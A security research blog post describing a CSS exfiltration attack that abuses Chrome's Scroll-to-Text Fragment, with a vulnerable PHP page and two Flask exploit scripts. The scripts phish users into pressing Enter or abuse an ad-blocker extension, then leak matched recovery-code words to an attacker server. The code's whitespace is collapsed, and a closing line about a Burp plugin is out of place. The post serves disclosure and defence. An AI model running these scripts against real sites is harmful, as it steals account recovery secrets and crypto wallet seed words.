Cookies are harmless (and yummy!). We use them to improve your experience on our site. To find out more, read our updated privacy policy and cookie policy.
New technique of stealing data using CSS and Scroll-to-Text Fragment feature.
Published on June 12, 2022 by Maciej Piechota (haqpl)
Some time ago, I received a link from a friend which included a new(ish) Chrome feature called “Scroll to Text Fragment”.
Its main purpose is to allow users to point someone to a specific position in a web page - example here - highlighting an important sentence or a word. I started wondering how this highlighting is done and quickly turned to a CSS specification document that describes selectors, as elements which could be used to set custom styles on a selected text fragment. This instantly piqued my curiosity as CSS can often be used to exfiltrate data and a few techniques are publicly demonstrated.
A few words about CSS exfiltration techniques
The general goal is to use CSS selectors, which apply to desired elements containing users’ secrets, and detect them remotely by setting the background-image value of that element, which in turn, would cause the fetching of the image from the attacker-controlled server.
For example, let us assume that a selector is applied only to an input element, whose attribute value starts with the character “a” and then the image is fetched from the attacker’s server, thus indicating that the CSS selector matched the secret character or a word in the target page.
There are sophisticated techniques with custom-defined fonts and detecting scroll-bar occurrence on a page, most of which are described here. In general, it all comes down to identifying a CSS selector and then using the URL function to transfer information back to attackers. That same methodology is used below.
Interesting CSS Pseudo-classes styling Scroll-to-Text Fragment
::target-text This pseudo-class looked very promising, however, it can only be styled by a limited set of properties
This set lacks the desirable background-image property, which allows fetching images, which, in our case, works as an indicator that CSS has been applied to the target text. Thankfully, we discovered that there is another suitable pseudo-class:
Note: When a URL fragment targets an element, the :target pseudo-class can be used to select it, but ::target-text does not match anything. It only matches text that is itself targeted by the [fragment].
Here things started to get interesting. In Example 36 we saw that we can use the “::before“ selector to place our image before the highlighted text fragment, which is what is needed to transfer successful match information back to us.
:target::before { content : url(target.png) }
PoC #1
Having all these pieces of information, we are able to demonstrate the attack. The target page contains the username of the logged-in user, and we want to confirm that the username is Administrator. Let us consider the following PHP web page, which has strict CSP where only inline styles are allowed:
and after the user navigates to it, we immediately receive a request for an image.
Great. We have successfully confirmed that the user is an Administrator and we can now carry out further targeted attacks.
Although this does not seem like much, one needs to consider that a number of applications use seeds that create security phrases (non-BIP39 word generators) to be used as a password or a recovery password. A good example of these being used, are crypto wallets where this technique can prove to be a viable vector of attack.
Scroll-to-Text Fragment attack limitations
It would be great if we could extract secrets like tokens containing random characters. However, STTF was designed having security in mind so there were a few mitigations implemented before the feature was added to Chrome. Here is an awesome breakdown of those mitigations, alongside another method of detection that STTF was matched (lazy loading of the image placed before the target fragment will trigger the image load only on scrolling to the matched fragment).
There are three main mitigations:
STTF can match only words or sentences on a web page, theoretically making it impossible to leak random secrets or tokens (unless we break down the secret in one-letter paragraphs).
It is restricted to top-level browsing contexts, so it won’t work in an iframe, making the attack visible to the victim.
User-activation gesture is needed for STTF to work, so only navigations that are a result of user actions are exploitable, which greatly decreases the possibility to automate the attack without user interaction. However, there are certain conditions that the author of the above blog post discovered that facilitate the automation of the attack. Another, similar case, will be presented in PoC#3.
During the writing of this post, an interesting bypass of the second mitigation was found by S1r1u5 (https://bugs.chromium.org/p/chromium/issues/detail?id=1214792), which has now been fixed. From the discussion, it seemed that Google accepted the risk of cross-origin highlight in iframes, which could facilitate further exploitation attempts by embedding many iframes in one page, each trying to leak information, however, it was not possible to verify it in Chrome versions other than 92.0.4515.39.
Attack surface
The aforementioned first limitation restricts exfiltration to 1 bit of information per attempt, which could still give attackers a wide range of possibilities, when you think about answers to questions like:
Is your annual salary in tier A, B or C?
Do you have 2FA enabled?
Does the first word from crypto wallet seed phrase is apple?
Another attack variant was already proposed in PoC#1 - attackers could target specific application users (e.g. administrators) and then carry out further attacks. For example, importing CSS style from the attacker-controlled server which will delay the response until receiving a hit confirming it’s an Administrator user, and applying malicious styles only then, which would then leak their secret tokens.
PoC #2 - bypassing user activation limitation with social engineering
To overcome user interaction limitations, we could leverage social engineering tricks, for example asking the user to hit the Enter key, which would transfer the user activation flag between redirects and try to match STTF.
Let’s consider the following vulnerable application that generates crypto wallet seed phrases or backup words needed in case of emergency account recovery. Stealing those codes would be equal to account takeover and theft of cryptocurrency funds. Again, the application has been configured with strict CSP and only allows for styles to be injected:
<?phpheader("Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'none'; base-uri 'none'; style-src 'unsafe-inline'; img-src *;");?><html><head> <title>CSS target exfil</title></head> <body> Hello, <?=$_GET['user'];?> <div> <h3>Recovery codes</h3> <div> <b>Put these in a safe spot.</b> If you lose your device and don't have the recovery codes you will lose access to your account. </div> <ul> <li>Currant</li> <li>Blueberry</li> <li>Banana</li> <li>Blackberry</li> <li>Cherry</li> <li>Bilberry</li> </ul> </div> </body></html>
Thus, the attacker's goal is to obtain the backup codes - the correct fruit values - in order to be able to reset the victim's password and takeover their account or funds. For that purpose, the attacker would have to prepare a wordlist containing a set of as many fruits as possible, to increase the probability that backup codes will be included in that set.
Then the attacker would iterate through the set of fruits and each time would redirect the victim to the vulnerable application while injecting CSS with our newly discovered pseudo-class (:target::before) and a link to gather *Enter* hits by the user. Every time the user hits *Enter* the process is going into a loop and new fruit values are used in the URL(STTF) and compared with the page contents so as to leak a successful match back to the attacker.
The attack itself consists of the following steps:
Lure the user with a phishing message to visit an attacker-controlled page with implemented logic of the attack
Repeat the steps below until there are no fruits left to exfiltrate from the gathered set
Generate the redirect to the vulnerable application with the fruit in the STTF
Inject CSS to possibly leak the fruit
Inject an auto-focused anchor tag to capture Enter hits and jump to the second step
During all the steps above the victim has to keep the Enter key pressed in order to transfer the activation flag between redirects.
The sample implementation of the previous steps could look like the following:
fromflaskimportFlaskfromflaskimportrequestimportsysapp=Flask(__name__)VICTIM="http://victim:5000"ATTACKER="http://attacker:1337"fruits_all=["Apple","Apricot","Avocado","Banana","Bilberry","Blackberry","Blackcurrant","Blueberry","Boysenberry","Currant","Cherry","Cherimoya"]defgen_redirect(try_fruit):returnf"""<script> let injection = ` <style>:target::before {{ content : url({ATTACKER}/receive/{try_fruit}) }}</style> <a href='{ATTACKER}/redirect' autofocus><h1>Hit Enter once again!</h1></a>`.replaceAll('\\n', ' '); location = `{VICTIM}/?user=${{encodeURIComponent(injection)}}#:~:text={try_fruit}`;</script> """i=0extracted_fruits=[]@app.route('/redirect')defredirect():globalii+=1returngen_redirect(fruits_all[i-1])ifi<=len(fruits_all)else"Thank you for cooperation"@app.route('/')defsolve():returnf"""<a href='{ATTACKER}/redirect' autofocus>Hit Enter key to win a prize!</a><script>"""@app.route('/receive/<word>')defreceiver(word):globalextracted_fruitsextracted_fruits.append(word)print("Stolen: ",extracted_fruits,flush=True,file=sys.stdout)return"ok"
and start the exploit using following command:
FLASK_APP=exploit.py flask run --port=1337
Exploit in action:
PoC #3 - bypassing user activation limitation with browser extensions
There are also other ways to bypass the existing mitigations. A similar method was already introduced by bluepichu in the aforementioned post. It has been found that the uBlock Origin Chrome extension can fulfill the user activation requirement. Nowadays many extensions are installed by users to deal with annoying Cookie consent popups and advertisements. Those extensions have defined built-in lists of HTML elements, in which Cookie consent and popups are usually placed, so as to be able to click/hide them. What if we could encapsulate our custom injected anchor tag in such an element that it would be clicked upon detection by the extension?
This time the steps for the attack will look like:
Lure the user with a phishing message to visit an attacker controlled page with implemented logic of the attack
Repeat the steps below until there are no fruits left to exfiltrate from the gathered set
Generate the redirect to the vulnerable application
Inject style to eventually leak the fruit
Inject anchor tag with STTF wrapped into the cookie-bar class
Inject meta refresh with a timeout to redirect back to step 2
and the sample implementation:
fromflaskimportFlaskfromflaskimportrequestimportsysapp=Flask(__name__)VICTIM="http://victim:5000"ATTACKER="http://attacker:1337"fruits_all=["Apple","Apricot","Avocado","Banana","Bilberry","Blackberry","Blackcurrant","Blueberry","Boysenberry","Currant","Cherry","Cherimoya"]defgen_redirect(try_fruit):returnf"""<script> let injection = ` <style>:target::before {{ content : url({ATTACKER}/receive/{try_fruit}) }}</style> <div id="cookie-bar"> <a href="#:~:text={try_fruit}" class="cb-disable"></a> </div> <meta http-equiv="refresh" content="1;URL='{ATTACKER}/redirect'">`.replaceAll('\\n', ' '); location = `{VICTIM}/?user=${{encodeURIComponent(injection)}}`;</script> """i=0extracted_fruits=[]@app.route('/redirect')defredirect():globalii+=1returngen_redirect(fruits_all[i-1])ifi<=len(fruits_all)else"Thank you for cooperation"@app.route('/')defsolve():returnf"""Check this out!<script> onclick = () => {{ let injection = `<meta http-equiv="refresh" content="0;URL='{ATTACKER}/redirect'">`; let url = `{VICTIM}/?user=`; location = url + encodeURIComponent(injection);}}</script> """@app.route('/receive/<word>')defreceiver(word):globalextracted_fruitsextracted_fruits.append(word)print("Stolen: ",extracted_fruits,flush=True,file=sys.stdout)return"ok"
Proof-of-Concept in action:
Summary
In this post, we introduced a new method to leak matching Scroll-to-Text fragments that will power the xsleaks collection as well as CSS exfiltration techniques. Although given the limitations described, the technique does not allow an attacker to reveal secrets it can be used to extract small chunks of information. Therefore, this attack can still affect the security goals of specific application platforms and their users.
Bonus PoC
As a bonus, PoC # 2 has been adjusted in such a way that an attacker could try to hide from the victim the fact that they are under attack by hiding the attack behind the visuals of a "game". Instead of the standard highlighting approach we have outlined above, this time we hide the original content and the iteration happens transparently each time the user hits *Enter*. As shown in the PoC video, each time a successful match occurs, the victim user is presented with a "YOU WIN" image instead of a standard highlight.
This Burp plugin is a fork of the aforementioned code that will listen for “Pre-Authentication Endpoint Analysis” requests and reply to the server that these were passed.